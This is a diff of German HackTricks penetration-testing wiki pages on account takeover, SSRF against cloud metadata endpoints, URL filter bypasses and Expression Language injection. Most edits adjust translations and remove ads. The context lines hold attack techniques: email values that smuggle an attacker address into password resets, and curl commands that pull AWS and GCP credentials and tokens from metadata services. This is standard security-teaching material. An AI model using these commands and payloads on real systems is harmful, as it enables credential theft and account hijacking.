* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,29 +15,16 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Registrierung Übernahme
|
||||
|
||||
### Doppelte Registrierung
|
||||
|
||||
* Versuche, einen bestehenden Benutzernamen zu verwenden
|
||||
* Versuche, einen bestehenden Benutzernamen zu generieren
|
||||
* Überprüfe verschiedene E-Mails:
|
||||
* Großbuchstaben
|
||||
* \+1@
|
||||
* füge einen Punkt in der E-Mail hinzu
|
||||
* füge einen Punkt in die E-Mail ein
|
||||
* Sonderzeichen im E-Mail-Namen (%00, %09, %20)
|
||||
* Setze schwarze Zeichen nach der E-Mail: `test@test.com a`
|
||||
* victim@gmail.com@attacker.com
|
||||
|
@ -45,7 +32,7 @@ Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter
|
|||
|
||||
### Benutzernamen Enumeration
|
||||
|
||||
Überprüfe, ob du herausfinden kannst, ob ein Benutzername bereits in der Anwendung registriert ist.
|
||||
Überprüfe, ob du herausfinden kannst, wann ein Benutzername bereits in der Anwendung registriert wurde.
|
||||
|
||||
### Passwort-Richtlinie
|
||||
|
||||
|
@ -54,7 +41,7 @@ In diesem Fall kannst du versuchen, Anmeldeinformationen zu bruteforcen.
|
|||
|
||||
### SQL-Injection
|
||||
|
||||
[**Überprüfe diese Seite** ](sql-injection/#insert-statement), um zu lernen, wie man Kontoübernahmen versucht oder Informationen über **SQL-Injection** in Registrierungsformularen extrahiert.
|
||||
[**Überprüfe diese Seite** ](sql-injection/#insert-statement), um zu lernen, wie man Konten übernimmt oder Informationen über **SQL-Injection** in Registrierungsformularen extrahiert.
|
||||
|
||||
### Oauth Übernahmen
|
||||
|
||||
|
@ -88,7 +75,7 @@ Wenn registriert, versuche, die E-Mail zu ändern und überprüfe, ob diese Änd
|
|||
3. Ändere das Passwort nicht
|
||||
4. Klicke auf beliebige 3rd Party-Websites (z.B.: Facebook, Twitter)
|
||||
5. Fange die Anfrage im Burp Suite Proxy ab
|
||||
6. Überprüfe, ob der Referer-Header das Passwortzurücksetzungs-Token leakt.
|
||||
6. Überprüfe, ob der Referer-Header das Passwortzurücksetzungstoken leakt.
|
||||
|
||||
### Passwortzurücksetzung Vergiftung <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
|
@ -115,16 +102,16 @@ email=victim@mail.com,hacker@mail.com
|
|||
email=victim@mail.com%20hacker@mail.com
|
||||
email=victim@mail.com|hacker@mail.com
|
||||
```
|
||||
### IDOR on API Parameters <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
### IDOR bei API-Parametern <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
|
||||
|
||||
1. Angreifer müssen sich mit ihrem Konto anmelden und zur Funktion **Passwort ändern** gehen.
|
||||
2. Starten Sie die Burp Suite und fangen Sie die Anfrage ab.
|
||||
3. Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail\
|
||||
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
|
||||
|
||||
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
### Schwaches Passwort-Zurücksetzen-Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
Das Passwort-Reset-Token sollte zufällig generiert und jedes Mal einzigartig sein.\
|
||||
Das Passwort-Zurücksetzen-Token sollte zufällig generiert und jedes Mal einzigartig sein.\
|
||||
Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden.
|
||||
|
||||
* Zeitstempel
|
||||
|
@ -138,29 +125,29 @@ Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist.
|
|||
* Token-Wiederverwendung
|
||||
* Ablaufdatum des Tokens
|
||||
|
||||
### Leaking Password Reset Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
### Leckendes Passwort-Zurücksetzen-Token <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||
|
||||
1. Lösen Sie eine Passwort-Reset-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
|
||||
1. Lösen Sie eine Passwort-Zurücksetzen-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com
|
||||
2. Überprüfen Sie die Serverantwort und suchen Sie nach `resetToken`
|
||||
3. Verwenden Sie dann das Token in einer URL wie `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
### Passwort-Zurücksetzen über Benutzernamen-Kollision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.: `"admin "`
|
||||
2. Fordern Sie einen Passwort-Reset mit Ihrem böswilligen Benutzernamen an.
|
||||
2. Fordern Sie ein Passwort-Zurücksetzen mit Ihrem böswilligen Benutzernamen an.
|
||||
3. Verwenden Sie das Token, das an Ihre E-Mail gesendet wurde, und setzen Sie das Passwort des Opfers zurück.
|
||||
4. Melden Sie sich mit dem neuen Passwort beim Konto des Opfers an.
|
||||
|
||||
Die Plattform CTFd war anfällig für diesen Angriff.\
|
||||
Siehe: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
|
||||
|
||||
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
### Kontoübernahme über Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
|
||||
|
||||
1. Finden Sie ein XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domain beschränkt sind: `*.domain.com`
|
||||
2. Leaken Sie das aktuelle **Sitzungscookie**
|
||||
2. Lecken Sie das aktuelle **Sitzungscookie**
|
||||
3. Authentifizieren Sie sich als der Benutzer mit dem Cookie
|
||||
|
||||
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
### Kontoübernahme über HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
1\. Verwenden Sie **smuggler**, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen\
|
||||
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
|
||||
|
@ -202,17 +189,6 @@ JSON Web Token könnte verwendet werden, um einen Benutzer zu authentifizieren.
|
|||
|
||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,26 +15,18 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## AWS
|
||||
|
||||
### Missbrauch von SSRF in der AWS EC2-Umgebung
|
||||
|
||||
**Der Metadaten** Endpunkt kann von innerhalb jeder EC2-Maschine aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL zugänglich: `http://169.254.169.254` ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Es gibt **2 Versionen** des Metadatenendpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jeder **SSRF es ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musst du ein **Token** anfordern, indem du eine **PUT**-Anfrage mit einem **HTTP-Header** sendest und dann dieses Token verwendest, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einem SSRF).
|
||||
Es gibt **2 Versionen** des Metadatenendpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF ihn ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musst du ein **Token** anfordern, indem du eine **PUT**-Anfrage mit einem **HTTP-Header** sendest und dann dieses Token verwendest, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einer SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Beachte, dass wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
|
||||
|
||||
Darüber hinaus wird **IMDSv2** auch **Anfragen blockieren, um ein Token abzurufen, die den `X-Forwarded-For`-Header enthalten**. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können.
|
||||
Darüber hinaus wird **IMDSv2** auch **Anfragen blockieren, um ein Token abzurufen, die den `X-Forwarded-For` Header enthalten**. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können.
|
||||
{% endhint %}
|
||||
|
||||
Du kannst Informationen über die [Metadatenendpunkte in den Dokumenten finden](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Im folgenden Skript werden einige interessante Informationen daraus gewonnen:
|
||||
|
@ -118,9 +110,9 @@ Beachten Sie das **aws\_session\_token**, dies ist unerlässlich, damit das Prof
|
|||
|
||||
**ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS das für Sie verwaltet. Wenn es Ihnen gelingt, einen Dienst, der in **ECS** läuft, zu kompromittieren, ändern sich die **Metadatenendpunkte**.
|
||||
|
||||
Wenn Sie _**http://169.254.170.2/v2/credentials/\<GUID>**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **das \<GUID>** finden. Um das \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\
|
||||
Wenn Sie _**http://169.254.170.2/v2/credentials/\<GUID>**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **das \<GUID> finden**. Um das \<GUID> zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\
|
||||
Sie könnten in der Lage sein, dies auszulesen, indem Sie eine **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\
|
||||
Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben.
|
||||
Die genannte HTTP-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben.
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
|
@ -130,7 +122,7 @@ Beachten Sie, dass Sie in **einigen Fällen** auf die **EC2-Metadateninstanz** v
|
|||
|
||||
### SSRF für AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
In diesem Fall sind die **Anmeldeinformationen in Umgebungsvariablen gespeichert**. Um auf sie zuzugreifen, müssen Sie auf etwas wie **`file:///proc/self/environ`** zugreifen.
|
||||
In diesem Fall werden die **Anmeldeinformationen in Umgebungsvariablen gespeichert**. Um auf sie zuzugreifen, müssen Sie auf etwas wie **`file:///proc/self/environ`** zugreifen.
|
||||
|
||||
Die **Namen** der **interessanten Umgebungsvariablen** sind:
|
||||
|
||||
|
@ -138,10 +130,10 @@ Die **Namen** der **interessanten Umgebungsvariablen** sind:
|
|||
* `AWS_SECRET_ACCESS_KEY`
|
||||
* `AWS_ACCES_KEY_ID`
|
||||
|
||||
Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten werden der Funktion über die [Laufzeit-Schnittstelle](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zur Verfügung gestellt und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich.
|
||||
Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten werden der Funktion über die [Runtime-Schnittstelle](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zur Verfügung gestellt und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Beachten Sie, dass die **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**.
|
||||
Beachten Sie, dass **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**.
|
||||
{% endhint %}
|
||||
|
||||
### SSRF-URL für AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -250,7 +242,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
|
|||
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
|
||||
-H "Metadata-Flavor: Google"
|
||||
```
|
||||
Beta benötigt derzeit keinen Header (danke Mathias Karlsson @avlidienbrunn)
|
||||
Beta benötigt derzeit KEINEN Header (danke Mathias Karlsson @avlidienbrunn)
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||||
|
@ -276,7 +268,7 @@ Extrahieren Sie das Token
|
|||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
Überprüfen Sie den Umfang des Tokens (mit der vorherigen Ausgabe oder indem Sie Folgendes ausführen)
|
||||
Überprüfen Sie den Geltungsbereich des Tokens (mit der vorherigen Ausgabe oder indem Sie Folgendes ausführen)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
|
@ -564,23 +556,17 @@ Die Metadaten von Rancher können über folgenden Link abgerufen werden:
|
|||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,20 @@
|
|||
# URL Format Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
|
@ -170,13 +162,13 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
```
|
||||
### Fuzzing
|
||||
|
||||
Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen aus einem gegebenen Input generieren, um den verwendeten Regex zu umgehen. Siehe auch [**diesen Beitrag**](https://0xacb.com/2022/11/21/recollapse/) für weitere Informationen.
|
||||
Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen aus einem gegebenen Input generieren, um den verwendeten Regex zu umgehen. Überprüfen Sie auch [**diesen Beitrag**](https://0xacb.com/2022/11/21/recollapse/) für weitere Informationen.
|
||||
|
||||
### Bypass über Umleitung
|
||||
|
||||
Es könnte möglich sein, dass der Server **die ursprüngliche Anfrage** einer SSRF **filtert**, aber nicht eine mögliche **Umleitungs**antwort auf diese Anfrage.\
|
||||
Es könnte möglich sein, dass der Server **die ursprüngliche Anfrage** einer SSRF **filtert, aber nicht** eine mögliche **Umleitungs**antwort auf diese Anfrage.\
|
||||
Zum Beispiel könnte ein Server, der anfällig für SSRF über: `url=https://www.google.com/` ist, **den url-Parameter filtern**. Aber wenn Sie einen [Python-Server verwenden, um mit einem 302 zu antworten](https://pastebin.com/raw/ywAUhFrv) an den Ort, an den Sie umleiten möchten, könnten Sie in der Lage sein, **gefilterte IP-Adressen** wie 127.0.0.1 oder sogar gefilterte **Protokolle** wie gopher zu **zugreifen**.\
|
||||
[Schauen Sie sich diesen Bericht an.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
[Überprüfen Sie diesen Bericht.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
||||
|
@ -216,11 +208,6 @@ Bild von [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,23 +15,9 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## Grundlegende Informationen
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Expression Language (EL) ist integraler Bestandteil von JavaEE, um die Präsentationsschicht (z. B. Webseiten) und die Anwendungslogik (z. B. verwaltete Beans) zu verbinden und deren Interaktion zu ermöglichen. Es wird hauptsächlich in:
|
||||
Die Expression Language (EL) ist integraler Bestandteil von JavaEE, um die Präsentationsschicht (z. B. Webseiten) und die Anwendungslogik (z. B. verwaltete Beans) zu verbinden und deren Interaktion zu ermöglichen. Sie wird hauptsächlich in:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Zum Binden von UI-Komponenten an Backend-Daten/Aktionen.
|
||||
* **JavaServer Pages (JSP)**: Für den Datenzugriff und die Manipulation innerhalb von JSP-Seiten.
|
||||
|
@ -39,10 +25,10 @@ Expression Language (EL) ist integraler Bestandteil von JavaEE, um die Präsenta
|
|||
|
||||
**Verwendungskontexte**:
|
||||
|
||||
* **Spring Framework**: In verschiedenen Modulen wie Sicherheit und Daten angewendet.
|
||||
* **Allgemeine Nutzung**: Durch die SpEL-API von Entwicklern in JVM-basierten Sprachen wie Java, Kotlin und Scala.
|
||||
* **Spring Framework**: Wird in verschiedenen Modulen wie Sicherheit und Daten angewendet.
|
||||
* **Allgemeine Verwendung**: Durch die SpEL-API von Entwicklern in JVM-basierten Sprachen wie Java, Kotlin und Scala.
|
||||
|
||||
